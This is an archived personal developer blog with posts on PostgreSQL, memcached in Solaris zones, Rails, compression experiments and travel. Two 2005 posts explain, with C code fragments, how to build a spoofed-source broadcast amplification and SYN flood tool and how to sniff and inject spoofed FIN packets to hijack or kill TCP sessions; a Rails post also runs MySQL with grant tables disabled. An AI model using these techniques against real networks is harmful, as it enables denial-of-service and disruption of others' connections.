Sunday November 04, 2007 Solaris, PostgreSQL, and NetBeans - Just Perfect!
PostgreSQL is the open source enterprise database platform fully integrated into Solaris 10 and Solaris Express Developer Edition (SXDE) with comprehensive support offerings from Sun.Unlike many proprietary databases, PostgreSQL is known as the 'failsafe DB' among the community and do you know PostgreSQL on Solaris along with NetBeans 6.0 is one skull of a combination? Here is a note on quickly setting up PostgreSQL 8.2 on SXDE 9/07 to make it work with NetBeans 6.0.
PostgreSQL is free of charge, and Sun includes a version of the database with every Solaris distributions since last June. So you are spared from downloading, building or doing any pre-installation act.
And this is straight from my console. Nothing less, nothing more, just 2 commands(highlighted):
bash-3.2$ su
Password:
# chown postgres:postgres /var/postgres/8.2/data
# su - postgres
$ bash
bash-3.2$ /usr/postgres/8.2/bin/initdb -D /var/postgres/8.2/data
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale C.
fixing permissions on existing directory /var/postgres/8.2/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers/max_fsm_pages ... 32MB/204800
creating configuration files ... ok
creating template1 database in /var/postgres/8.2/data/base/1 ... ok
initializing pg_authid ... ok
initializing dependencies ... ok
creating system views ... ok
loading system objects' descriptions ... ok
creating conversions ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok
WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option the
next time you run initdb.
Success. You can now start the database server using:
/usr/postgres/8.2/bin/postgres -D /var/postgres/8.2/data
or
/usr/postgres/8.2/bin/pg_ctl -D /var/postgres/8.2/data -l logfile start
bash-3.2$ su
Password:
# /usr/sbin/svcadm enable postgresql:version_82
And now PostgreSQL server is up.
You need to have NetBeans 6.0 Beta 2 to try this out. Starting from NetBeans 6.0 Beta 2, the PostgreSQL driver comes bundled with the IDE.
If you don't know already, a single Sun Fire T2000 Server running PostgreSQL 8.2 database and Solaris OS achieved the highest open source database performance on the SPECjAppServer2004 benchmark.
So try out this perfect combination - NetBeans 6.0, Solaris OS, and PostgreSQL.
( Nov 04 2007, 04:16:02 AM PST ) Permalink Comments [1]
Wednesday October 03, 2007 Using memcached in Solaris Zones
These days everyone seems to use memcached, a high-performance, distributed memory object caching system, intended for use in speeding up web applications. Performance can be greatly improved from moving away from disk fetch to a RAM fetch. Here is an excellent article explaining memcached taking LiveJournal as a case study.Do you know that memcached daemons can be set up on Solaris Zones too? For this you need to download memcached package from the Cool Stack site.
What you need to get?
1. Cool Stack
2. memcached Java Client APIs (Get this jar and this jar).
Create and Boot Zones
I have created 3 zones zonea, zoneb and zonec to test memcached. For information on creating Solaris zones read this article.
I'm using SXDE 9/07
OK you don't have SXDE? Go go go get it!
Here is the status of my zones:
# zoneadm list -vc
ID NAME STATUS PATH BRAND IP
0 global running / native shared
4 zonea running /zones/zonea native shared
5 zoneb running /zones/zoneb native shared
6 zonec running /zones/zonec native shared
Start memcached on all Zones
Follow the Cool Stack site for installing Cool Stack on your zones. When you do a pkgadd -d <memcached*.pkg>, memcached gets installed in all the available zones even though they are not in a running state.
When everything is set, these commands should work fine:
zonea# ./opt/coolstack/bin/memcached -u phantom -d -m 100 -l 129.158.224.242 -p 11111
zoneb# ./opt/coolstack/bin/memcached -u phantom -d -m 100 -l 129.158.224.231 -p 11112
zonec# ./opt/coolstack/bin/memcached -u phantom -d -m 100 -l 129.158.224.243 -p 11113
I'm starting memcached as non-root user on all all zones with 100 MB memory bucket. This should be OK for testing but ideally in a production setup it should be around a terabyte.
If you don't know already, each Solaris zone can bind to an IP and port through the virtual interface. So I don't need 3 NICs or 3 machines but just 3 zones.
Test memcached
I assume that you have set the classpath pointing to the downloaded jars. Phantom sake, use Netbeans for simplicity. I'm going to store an object in-memory and retrieve it from the memcached daemon running on zonea.
....
//Interact with zonea
MemcachedClient c;
try {
c = new MemcachedClient(new InetSocketAddress
("129.158.224.242", 11111));
String test=new String("I'm going to be cached!");
c.set("mykey", 180, test);
Object obj=c.get("mykey");
System.out.println((String)obj);
c.delete("mykey");
} catch (IOException ex) {
ex.printStackTrace();
}
...
I'm storing an object for 3 mins. After retrieveing the object, I clean the cache. When you compile and run here is the output:
2007-10-03 10:38:49.615 INFO net.spy.memcached.MemcachedConnection: Connected to {QA sa=/129.158.224.242:11111, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} immediately
I'm going to be cached!
From your code, you can also connect to multiple memcached servers and store objects.
This is quite ineresting. I'm going to halt one zone and will try to store object in-memory on all the three zones.
# zoneadm -z zonea halt
# zoneadm list -vc
ID NAME STATUS PATH BRAND IP
0 global running / native shared
5 zoneb running /zones/zoneb native shared
6 zonec running /zones/zonec native shared
- zonea installed /zones/zonea native shared
Now zonea is no longer running memcached because zonea zone itself is down.
Here is the modified code:
MemcachedClient c;
try {
//zonea, zoneb and zonec
c=new MemcachedClient(AddrUtil.getAddresses
("129.158.224.242:11111
129.158.224.231:11112
129.158.224.243:11113"));
String test=new String("I'm going to be cached on all zones!");
c.set("mykey2", 180, test);
Object obj=c.get("mykey2");
System.out.println((String)obj);
c.delete("mykey2");
} catch (IOException ex) {
ex.printStackTrace();
}
I'm trying to store the object on all the available servers. But zonea is offline.
Here is the output:
2007-10-03 11:18:27.678 INFO net.spy.memcached.MemcachedConnection:
Added {QA sa=/129.158.224.242:11111, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} to connect queue
2007-10-03 11:18:27.682 INFO net.spy.memcached.MemcachedConnection:
Connected to {QA sa=/129.158.224.231:11112, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} immediately
2007-10-03 11:18:27.684 INFO net.spy.memcached.MemcachedConnection:
Connected to {QA sa=/129.158.224.243:11113, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} immediately
I'm going to be cached on all zones!
The object is queued for insertion whenever zonea comes up. It would be interesting to test the automatic failover behaviour of memcached considering the fact that memcached is a mother of all hashtables and there should be sufficient fail safe plumbing required between running instances of memcached daemons. In my future posts, I will try to show you how to use DTrace for memcached debugging.
( Oct 03 2007, 12:26:03 AM PDT ) Permalink
Thursday September 20, 2007 Life on Rails
I have heard enough of rails. I wanted to create a simple rails application that holds some flight information. I'm going to just focus on the getting started information for rails on Freespire.I'm trying Freespire (built on Ubuntu 7.04). Getting Ruby/Rails package and installing them is a breeze:
$ sudo apt-get install ruby rubygems irb ri rdoc ruby1.8-dev build-essentialI'm going to use MySQL server for my simple flights application. I already have MySQL Server 5.0 installed. So I'm going to start the server and create a test database:
$ sudo gem install rails --include-dependencies
$ ruby -v
ruby 1.8.5 (2006-08-25) [i486-linux]
$ sudo apt-get install libmysql-ruby mysql-server$ sudo apt-get install libopenssl-ruby
$ sudo mysqld_safe --skip-grant-tablesI created rails environment:
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[8850]: started
...
$ mysql
mysql> create database flights;
Query OK, 1 row affected (0.00 sec)
$ rails flightscreate app/controllersI provided DB Information in config/database.yml. Here is the snippet:
create app/helpers
create app/models
create app/views/layouts
create config/environments
....
development:Since I have started the server bypassing the grant tables, I don't have to provide user information here. Change the mysqld.sock path to suit your settings.
adapter: mysql
database: flights
username:
password:
host: localhost
socket: /var/run/mysqld/mysqld.sock
I can create tables in MySQL through a rake migration script. That way my app. is not tightly coupled with any server and I can migrate my schema to another production server later.
I created the skeleton files for our flights table.
$ script/generate migration flightsI modified my db/migrate/001_flights.rb file with the flights schema information:
create db/migrate
create db/migrate/001_flights.rb
class Flights < ActiveRecord::MigrationOK now I have my flights schema ready. I need to invoke the rake migrate script to update the flights DB.
def self.up
create_table :flights do |table|
table.column :name, :string
table.column :from, :string
table.column :to, :string
table.column :duration, :int
table.column :stops, :int
end
end
def self.down
drop_table :flights
end
end
$ rake db:migrateI checked my DB:
(in /home/phantom/rails_sample/flights)
== Flights: migrating =========================================================
-- create_table(:flights)
-> 0.0389s
== Flights: migrated (0.0395s) ================================================
mysql> use flights;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;+-------------------+
| Tables_in_flights |
+-------------------+
| flights |
| schema_info |
+-------------------+
2 rows in set (0.00 sec)
mysql> desc flights;
+----------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| name | varchar(255) | YES | | NULL | |
| from | varchar(255) | YES | | NULL | |
| to | varchar(255) | YES | | NULL | |
| duration | int(11) | YES | | NULL | |
| stops | int(11) | YES | | NULL | |
+----------+--------------+------+-----+---------+----------------+
6 rows in set (0.00 sec)There I go. The table created by rails is ready.
Based on the schema created, I'm going to generate my scaffolding code.
$ script/generate scaffold flight flightswhere flight is my model name and flights is my controller name. Sometimes the singular/plural restrictions of rails get on my skull.
exists app/controllers/
exists app/helpers/
create app/views/flights
exists app/views/layouts/
exists test/functional/
dependency model
exists app/models/
exists test/unit/
exists test/fixtures/
create app/models/flight.rb
create test/unit/flight_test.rb
create test/fixtures/flights.yml
...
I'm going to test my application:
$ script/serverWith some records in the table my application looks like:
=> Booting WEBrick...
=> Rails application started on http://127.0.0.1:3000
=> Ctrl-C to shutdown server; call with --help for options
[2007-09-20 13:24:30] INFO WEBrick 1.3.1
[2007-09-20 13:24:30] INFO ruby 1.8.5 (2006-08-25) [i486-linux]
[2007-09-20 13:24:30] INFO WEBrick::HTTPServer#start: pid=9062 port=3000
Do you know you can do all this in a more intuitive way using Netbeans 6.0? Netbeans 6.0 has a very good support for Ruby and Rails. Check this out.
( Sep 20 2007, 01:28:32 AM PDT ) Permalink Comments [1]
Wednesday August 22, 2007 Trip To Beijing
I had the privilege to visit Sun China Engineering and Research Institute in Beijing last week. It was a short trip, but I had lot of fun interacting with the HCTS engineers that develop cool tools like Sun Device Detection Tool and Installation Check Tool.This is the complete HCTS team:
When I was at Beijing, I tried some wonderful food like this one (Don't remember what it is!):
And I liked the host better than the food. She was cute:
Talking about Chinese women, what makes them so special is their glowing smile. This one is Fiona, a brilliant and beautiful engineer from Beijing:
She is holding something delicious and again I can't remember what it is.
Foreign devil, Chinese beauty, massacred chicken and preserved eggs:
And more food..
This is a caution note on a sharp edge of a wall.
'Mind Your Head' conveyed many things to me. But what the skull, I like the Chinese humor.
( Aug 22 2007, 07:13:07 AM PDT ) Permalink
Thursday July 12, 2007 The Lost World
Couple of years back, I wrote a small piece for sys-con explaining how you can access MBeans through Jini. By using Jini, a JMX agent can be distributed the same way as an RMI connector, but without mandating that the clients know the location of the running agent. Hence, to access a JMX agent, the clients can just create a Jini connector and locate the nearest running agent. When I built my first Jini application - Distributed Content Management System (DCMS), I din't know of Solaris Zones. So I used several machines (>10) to set up and test my transient and persistent services.Today I would simulate the complete system including more than 15 odd Jini services in a single box using zones. Now you can set up JavaSpaces cluster to perform complex data processing from a single hardware with each JavaSpace instance deployed on a zone.
The following figures show the Jini services deployed on different zones being accessed from Linux:
Much of the Jini Impl work will hopefully be carried out through Apache River. Till then, Jini will remain a lost world, waiting to be re-discovered.
( Jul 12 2007, 03:23:15 AM PDT ) Permalink
Thursday June 28, 2007 Hello Zones, I'm Linux II
In the last post, I mentioned that you can access your Solaris zones from Ubuntu through VMWare. We used the zones as load balancers for a MySQL DB set up in Ubuntu. But if you want to run Linux binaries on Solaris, the environment would not help as Solbox is not configured to support branded zones. BrandZ is a framework that extends the zones infrastructure to create Branded Zones, which are zones that contain non-native operating environments like Linux.Create a branded Linux zone on Solbox so we can run Linux applications. Read this blog entry to understand the steps required for creating branded zones.
In the above figure, the Linux branded zone is highlighted.
If you configure the branded zone to use a valid static IP address in the subnet, you can communicate with this zone just like any another Linux box.
This branded zone enables Linux binaries to run unmodified on Solaris.
The branded zone will run on x86/x64 systems booted with either a 32-bit or 64-bit kernel. Regardless of the underlying kernel, only 32-bit Linux applications are able to run.
For more information, read the BrandZ System Administration Guide.
( Jun 28 2007, 07:08:03 AM PDT ) Permalink
Wednesday June 20, 2007 Hello Zones, I'm Ubuntu
If you have worked with MySQL DB, you should be knowing how to set up a DB cluster to take care of DB high availability. MySQL Cluster has automatic node recoverability to ensure an application automatically fails over to another database node, if one or more database nodes fail. Now for trying out this MySQL DB Cluster, you don't need to look up for multiple boxes. You can use the Solaris Zones to setup multiple DB nodes and manage them from another zone running the management node. But have you tried setting up a heterogenous MySQL DB Cluster? It is possible.For the proof-of-concept, we'll set up the DB management node in Ubuntu Linux and let the node manage two other DB nodes set up in two different zones accessible through the host interface using virtualization.
Create two whole root zones solboxlb1 and solboxlb2 on Solaris SXDE. You should have a VMWare image of Solaris and VMWare Player or VMWare Workstation to boot the global zone.
Your virtual machine (Solaris) should have a bridged network connection to directly connect to the physical network.
In both the zones I run ndbd with the connectionstring pointing to my ubuntu linux box IP address. Start the MySQL servers on both the zones.
Test if your cluster is initialized by listing the DB nodes in the cluster from the Ubuntu box using ndb_mgm tool. The latest MySQL Server bundle has the tools required to set up a cluster and you don't need any other package (like the MAX package used by previous versions).
The above figure shows 1 management node and 2 cluster nodes set up and working fine. Read this excellent article on setting up MySQL Cluster DB on Solaris Zones.
So Linux and Zones can co-exist and work towards a common objective atleast in this case of a heterogenous MySQL DB cluster.
( Jun 20 2007, 02:17:05 AM PDT ) Permalink Comments [0]
Thursday June 14, 2007 Frame the Framer?
In a recent baptism ceremony, I got to play the photographer. I love this job, as you have the permit to zoom in to any babe out there. Not that many I could see in this particular event but managed to pick my flicks. But hey who is this block, who framed me?
Not many knew that you can't take professional quality pics with a Casio Exilm, but they trust me. In the pic, I'm standing tall clueless as the baptism baby was not in the line and what am I doing there? Caught.
( Jun 14 2007, 06:18:58 AM PDT ) Permalink
Friday March 09, 2007 World's Worst Blogger
Me. Why? My last entry on this blog was 2 years back!!! I'm such an amazing lazy skull. Now I have decided to write a line every month!Here is a pic from the recent Sun TechDays at Hyderabad. I was in the Developer Tools Pod. I just dropped by to say hello to my IPG friends. I'm the first one from left.
( Mar 09 2007, 06:37:50 AM PST ) Permalink
Wednesday July 13, 2005 Laptop CPU Frequency Scaling
I was trying hard to clock down my humble N hot sempron 2800+ based notebook. Why sempron? I like AMD babies (And phantom is broke! Devil takes care of my wallet. Hey itz my pet horse). But this baby I have, steams up for no reason. The sempron site offered me a download utility called PowerNow. Thatz for Win boxes. And I don't have one.
So I got this really fundu Linux distro 'Ubuntu'. Guess what, while installation it detects my laptop and installs their new frequency scaling monitor. When I don't need much ghost power, it scales down my CPU frequency to keep my baby Cool and Quiet. So while I watch movies CPU freq is at max 1.7 GHz and when I pause, it brings down the freq to 800 MHz. Neat. Wish I could select the freq myself. But then itz Linux. Err.. no itz sempron. No No, itz me.
( Jul 13 2005, 09:31:57 AM PDT ) Permalink Comments [2]
Tuesday June 07, 2005 Phantom's IQ
I took an IQ test from http://web.tickle.com/tests/uiq/ and I got this score. Considering Phantom's brainless skull, this should not be difficult to get for others. So if you score lesser than 126, post your score here.
I would like to ask you how you managed.
( Jun 07 2005, 08:40:36 PM PDT ) Permalink Comments [1]
Thursday May 26, 2005 Late Wishes
I know this is very late. But just thought of wishing Duke a long and 'prosperous' life on his 10th b'day
( May 26 2005, 08:47:30 PM PDT ) Permalink Comments [0]
Tuesday May 17, 2005 Obstacle is the Path
Nice proverb. Last couple of weeks, I'm trying to get my A-Star algo right but with no luck. Here is the game scene. Aliens come and attack you inside a maze like structure filled with obstacles. You know where the aliens are and in which direction they are proceeding coz it is a 2D map. Coz you are an intelligent human! You have been wired that way. But coding aliens to find the shortest path towards a moving target is getting over my skull. Lot of Maths. Last thing which worked for me is the A-Star - Manhattan path finding combo, which is not however guaranteed to find the shortest path. It is possible to find shortest path to moving obstacles by dynamically updating the obstacle info, open and closed list.But it is very difficult to predict a human move and calculate the hueristic value. Human mind can perform a billion calculations a second. How do the aliens still predict the human path?
There is a way to it. It is called sensory perception model. It is however not known in the Maths circle and I'm trying to work out a statistical model based on ML to forge a human brain and predict the shortest path towards flashing or moving targets. I'm doing this coz I'm crazy nut-and-a-half skull getting bored. And the weekend is far way.
Monday May 16, 2005 Coding a Broadcast Amplifier
IP Spoofing has always helped hackers in devising new DDOS attacks. One such technique is to send a large amount of ICMP echo request (Ping) traffic to all known IP broadcast addresses with the spoofed source address of the victim. The router delivering traffic to the broadcast address enables in broadcasting the request, which results in most of the hosts on the network taking the ICMP echo request and replying to it. First it kills the target and next it increases the network traffic. Unfortunately you can code one such spoofer for broadcast amplification with ease. Many hacker tools also perform similar function like Smurf. After creating a raw socket we need to set our socket option to enable us to send broadcast datagrams with spoofed IP in the network. This can be done effortlessly as follows:
setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));
Remember SO_BROADCAST applies only for Datagram packets. Let us analyze the ICMP related headers in our packet.
struct icmp *icmp;
icmp = (struct icmp *) (packet + sizeof(struct ip));
icmp->icmp_type = 8;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
Note that we are setting our ICMP packet type as 8, which represents Echo request. (Check out RFC 1700 for other types). The ICMP code stands for the nature of error in the communication. Let us make it 0, which stands for 'Net Unreachable' (Who cares for error messages). After construction the echo reply, just send it to any valid broadcast address, or your subnet broadcast address (Say 234.134.255.255), and check out the burst in network traffic. Spoofing Packets In Linux, if you want to create a raw socket, you need super user privilege, thus preventing other users from writing their own datagrams to the network. All socket-related structures and functions can be found in sys/socket.h and linux/socket.h. To create an IPV4 raw socket, use the socket function like this:
int sd;
sd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
The protocol constant IPPROTO_TCP is defined in netinet/in.h and linux/in.h. The above code creates an Internet (AF_INET) raw socket with TCP protocol.Spoofing source IP can be done by setting IP_HDRINCL (Include IP Header) in socket option.
int sm=1;
const int *val=&sm;
setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(sm));
If the result is a negative number, then the kernel does not allow IP spoofing, which is very rare. With my 2.4.1 kernel, it works. Check out the IP header, which we've built:
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id = htonl (54321);
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (3456);
tcph->th_dport = htons (atoi(argv[2]));
tcph->th_seq = random ();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = 0;
tcph->th_flags = TH_SYN;
tcph->th_win = htonl (65535);
tcph->th_sum = 0;
tcph->th_urp = 0;
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
Note that we are specifying each and every value in the IP header, including header length, IP version, type of service, and checksum. We use our own checksum algorithm. We have also set the SYN flag for this packet. You can also set ACK flag along with SYN.Some firewalls detect SYN Flood and block the source IP address. So we need to assign our spoofed source IP address a random number as shown below:
b1=100+(int)(255.0*rand()/(RAND_MAX+100.0));
b2=100+(int)(255.0*rand()/(RAND_MAX+100.0));
b3=100+(int)(255.0*rand()/(RAND_MAX+100.0));
b4=100+(int)(255.0*rand()/(RAND_MAX+100.0));
sprintf(b1s,"%d",b1);
sprintf(b2s,"%d",b2);
sprintf(b3s,"%d",b3);
sprintf(b4s,"%d",b4);
strcat(b1s,".");
strcat(b2s,".");
strcat(b3s,".");
strcat(b1s,b2s);
strcat(b1s,b3s);
strcat(b1s,b4s);
iph->ip_src.s_addr = inet_addr (b1s);
We must be careful in building the spoofed IP in the correct form, as the kernel is configured to drop packets with malformed addresses. After fabricating our packet we can send the SYN request using the standard sendto() method as follows:
sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin,sizeof (sin));Note that we have to calculate the checksum for our packet.
RFC 791 says:
The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit words in the header
Now let's analyze the standard IP header values. The first entry in the header is the IP version, which is 4 (IPV4). The next entry is the header length, which is 5 for most packets. The next entry is "Type of Service", which is 0. Note that TOS occupies 8 bits of header. So lets calculate our first 16 bit chunk. We know 4 is 100 and 5 is 101. So our first chunk is: 0100 0101 0000 0000, which is 4500. Next, 16 bits occupy the total length of the packet. Lets assume the length as 40 bytes (This includes the TCP Header too. The TCP Header's minimum size is 20 bytes). So the second chunk is :
0000 0000 0010 1000, which is 0028. If our Identification field value is 1, then the third chunk becomes:
0000 0000 0000 0001, which is 0001
Fragmentation Offset and flags : 0
which gives the fourth chunk as 0000. Our 8-bit Time to Live value is 255, which is FF. The protocol number is 6 in our case (TCP). So the fifth chunk is FF06. Assume header checksum as 0 so the sixth chunk is 0000. Next field is the source address. So with a source address of 34.26.17.10, we get the seventh and eighth chunk as 221A and 110A. Next is the destination address, which is say 1.2.3.4. We get 0102 and 1304 chunks. By adding up all the chunks, we get 17B59. Now remove the first digit and add it with the rest. i.e 1+7B59 = 7B5A. Subtract the number from FFFF, which gives 84A5, which is our IP Checksum value.
You can figure out the rest. I have published a detailed article in linuxworld some years back. Ok this is not a hacking tutorial. But it is very important to understand the packet fundamentals to use raw sockets effectively. I do not know however how some routers prevent broadcast.
( May 16 2005, 08:12:15 PM PDT ) Permalink Comments [5]
Monday April 25, 2005 Hijacking TCP Sessions
I wrote this sometime back in Linuxworld. But revisited this weekend for building an 'enhanced' TCP session hijacker, purely for educational purpose. It might interest you. I'm using raw sockets in linux.Session Hijacking can be done effortlessly with a few lines of code using raw socket. Before proceeding to hijack an open TCP Session, we need to understand the TCP connection termination process. Unlike TCP connection initialization, which is a three-way process, connection termination takes place with the exchange of four-way packets. The client who needs to terminate the connection sends a FIN segment to the server (TCP Packet with the FIN flag set) indicating that it has finished sending the data. The server, upon receiving the FIN segment, does not terminate the connection but enters into a "passive close" (CLOSE_WAIT) state and sends an ACK for the FIN back to the client with the sequence number incremented by one. Now the server enters into LAST_ACK state. When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK back to the server with the sequence number incremented by one. When the server gets the ACK from the client, it closes the connection.
As you can see, the connection termination process of TCP is complex, since data integrity is ensured with every packet transferred. Before trying to hijack a TCP connection, we need to understand the TIME_WAIT state. Why should any client be made to wait even after receiving connection termination confirmation from the server? Consider this instance (termed as "incarnation") with two systems, A and B, communicating. After terminating the connection, if these two clients want to communicate again, they should not be allowed to establish a connection before a certain period. This is because stray packets (if there are any) transferred during the initial session should not confuse the second session initialization. So TCP has set the TIME_WAIT period to be twice the MSL (Maximum Segment Lifetime) for the packet. We can spoof our TCP packets and can try to reset an established TCP connection with the following steps:
1. Sniff a TCP Connection. In Linux we need to set our Network Interface to Promiscuous mode. This can be done by specifying the Socket Type in SocketOpt structure as 'PACKET_MR_PROMISC' e-g sockopt.mr_type= PACKET_MR_PROMISC
2. Check if the packet has ACK flag set. If set, the Acknowledgment number is recorded (which will be our next packet sequence number) along with the source IP.
3. Establish a raw socket with spoofed IP and send out the FIN packet to the client with the recorded sequence number. Make sure that you have also set your ACK flag.
Session Hijacking can also be done with the RST flag too.
If you are familiar with an Unix environment, you can use the BSD packet Filter or Data Link provider Interface (DLPI). With the new releases of Linux kernel, you can use an elegant interface called SOCK_PACKET. Explaining BSD Packet Filter and DLPI is beyond the scope of this article so lets deal with Linux specific SOCK_PACKET Interface. Similar to the creation of raw socket, creating SOCK_PACKET socket requires administrative privilege too. You can create a socket like this:
sd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
which will receive all the frames from the datalink layer. Remember you are sniffing a subnet and with high traffic network, the socket will act really strange. You can instead sniff only IP packets using ETH_P_IP frame option. Other options include ETH_P_ARP and ETH_P_IPV6. (Check out linux/if_ether.h). If your kernel and network device supports Promiscuous mode, you can do an ioctl of SIOCGIFLAGS by fetching the flag and setting IFF_PROMISC flag and again storing the flags using SIOCGIFLAGS.
fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))
ioctl(fd,SIOCGIFFLAGS,&ifinfo);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
ioctl(fd,SIOCSIFFLAGS,&ifinfo);
If you don't know what ioctl does, check out the man page. It lets you manipulate the device parameters of files. And for instructing your network adapter to pass on all the packets it gets to your application, you should set your socket option to SOL_PACKET and bind it to the socket using PACKET_ADD_MEMBERSHIP.
sock = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
setsockopt(sock, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
(void *)&sockopt, sizeof(sockopt));
The major disadvantage of using SOCK_PACKET is, it does not support kernel filtering and buffering; so multiple frames cannot be passed to our code with a single read method. And also ETH_P_IP returns packets even from a loopback device, so the real challenge lies in discerning and discarding useless frames.One problem I faced during connection termination was that most of the packets I sniffed came from my loopback device. So every time I try to hijack a connection I had to check if the source and destination IP are same. Then I wait for an ACK flag set packet. This is to ensure that we mess up with only established connections. Once I find an ACK packet I extract the acknowledgment number and use it as the sequence number in my own packet with IP addresses swapped and will send a FIN packet to the server with the acknowledgment number as the summation of original packet sequence number and the data length.
sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
Since the server gets the correct sequence number, which it is expecting, it will disconnect the connection. Boom! ( Apr 25 2005, 12:29:48 AM PDT ) Permalink Comments [2]
Thursday April 07, 2005 Compressing Protein Sequences
The Protein Corpus is a set of 4 files, which were used in the article "Protein is incompressible" by Craig Nevill-Manning and Ian Witten. (http://portal.acm.org/citation.cfm?id=789623) These files are HI for Haemophilus Influenzae, HS for Homo Sapiens, MJ for Methanococcus Jannaschii and SC for Saccharomyces Cerevisiae. According to the authors, Protein is difficult to compress since there is little Markov dependency in protein. They have also developed a special compression program called CP for Compress Protein, which achieves an average compression rate of 4.113 bps for the 4 files of the corpus. Why is protein difficult to compress? The available data compression techniques does not fit well for a protein sequence unless there is entropy sequence analyzing routine in the compression. Average bps of 4 is great for a protein file, but the author's program may not fare well with meaningful linguistic data. So here is the attempt of compressing the protein corpus at one short with the 1 MB block size. No tweaking whatsoevr and no special compression routines. Just the java sequence I mentioned earlier.
+ \hi @ 282168 : 509519 -> CR: [44.620712 %] - [4.430343 bps] - [No BWT]
+ \hs @ 1629843 : 3295751 -> CR: [50.547142 %] - [3.9562285 bps]
+ \mj @ 248738 : 448779 -> CR: [44.5745 %] - [4.43404 bps] - [No BWT]
+ \sc @ 1454824 : 2900352 -> CR: [49.839745 %] - [4.0128207 bps]
Average File Stats:
Orig. Size : 7154401 Bytes (6.8 MB)
Comp. Size : 3615573 Bytes (3.4 MB)
Comp. Ratio: 49.463654 %
Dir. Stats:
Orig. Size : 7154401 Bytes (6.8 MB)
Comp. Size : 3615595 Bytes (3.4 MB)
Comp. Ratio: 49.463345 %
Aveg. bps : 4.2083583 bps
I could achieve 4.2 with that. I believe it can go down to 3.8-3.9 for a huge block size of 3.4 MB. One glitche is my BWT encoder going bonkers with both 'hi' and 'mj'. That is implementation specific. I didnt have time to create an optimized sort. It was just a recursive quicksort, so the stack overflow. So the results for those 2 files includes just a simple Huffman coder.
An interesting observation is that it is not even about compression. It is like storing the data after the BWT stage. Since BWT is best for pattern matching, you can search through a DNA sequence at high speed and find astonishing patterns. More on this soon.
( Apr 07 2005, 02:12:19 AM PDT ) Permalink Comments [0]
Monday April 04, 2005 Maximum Data Compression
I have this fixation for data compression. Just like my attitude to squeeze the hell outta people, I try my hands with new compression techniques and sequences. One thing fascinated me off late is the BW Transform. When you use it along with an entropy encoder, you can achieve theoritically possible maximum compression. This is how I do a BWT on data:Given a sequence of symbols with length N, we create N-1 other sequences, where each of these N-1 sequences of symbols is a cyclic shift of the original sequence. These N sequences are arranged in lexicographic order. The BWT encoder, then transmits the sequence of length N created by taking the last letter of each sorted, cyclically shifted sequence (The last column of the block). This sequence along with the position of the first symbol position in this sequence is all needed to reconstruct the original text.
This weekend I tried to rewrite my earlier mess on a BWT implementation and came up with a simple but effective encoder. It works in this sequence.
Data->BWT->MTF->RLE->Entropy Encoder->Highly Compressed Data
Highly Compressed Data->Entropy Decoder->RLD->MTF->RBWT->Data
It is possible to achieve maximum compression with these sequences.
MTF is the Move-To-Front encoding scheme.
My only problem was the high level of computation involved.
Apparently Java can handle this with a few easy techniques involved with block sorting.
I created my prototype and tested with the commercial archivers. And this is the result I got for the Calgary Corpus:
An average bps of 2.05 is not bad at all for a simple Java implementation. Lot of possibilities for improvement.
Getting excited, I benchmarked my cutie with some commercial compressers. And here is the result:
This is too good for a test program in Java. Moreover there is no cheating involved, no arithmetic encoders. Only entropy encoders More on this later.
+ \bib @ 28632 : 111261 -> CR: [74.265915 %] - [2.0587268 bps]
+ \book1 @ 245839 : 768771 -> CR: [68.02182 %] - [2.5582547 bps]
+ \book2 @ 165839 : 610856 -> CR: [72.85138 %] - [2.17189 bps]
+ \geo @ 62443 : 102400 -> CR: [39.020508 %] - [4.8783593 bps]
+ \news @ 122939 : 377109 -> CR: [67.39961 %] - [2.608031 bps]
+ \obj1 @ 11185 : 21504 -> CR: [47.98642 %] - [4.161086 bps]
+ \obj2 @ 78687 : 246814 -> CR: [68.118904 %] - [2.5504875 bps]
+ \paper1 @ 17226 : 53161 -> CR: [67.59655 %] - [2.5922763 bps]
+ \paper2 @ 26230 : 82199 -> CR: [68.08964 %] - [2.552829 bps]
+ \paper3 @ 16516 : 46526 -> CR: [64.50157 %] - [2.8398745 bps]
+ \paper4 @ 5422 : 13286 -> CR: [59.190125 %] - [3.26479 bps]
+ \paper5 @ 5050 : 11954 -> CR: [57.754726 %] - [3.379622 bps]
+ \paper6 @ 12794 : 38105 -> CR: [66.424355 %] - [2.6860516 bps]
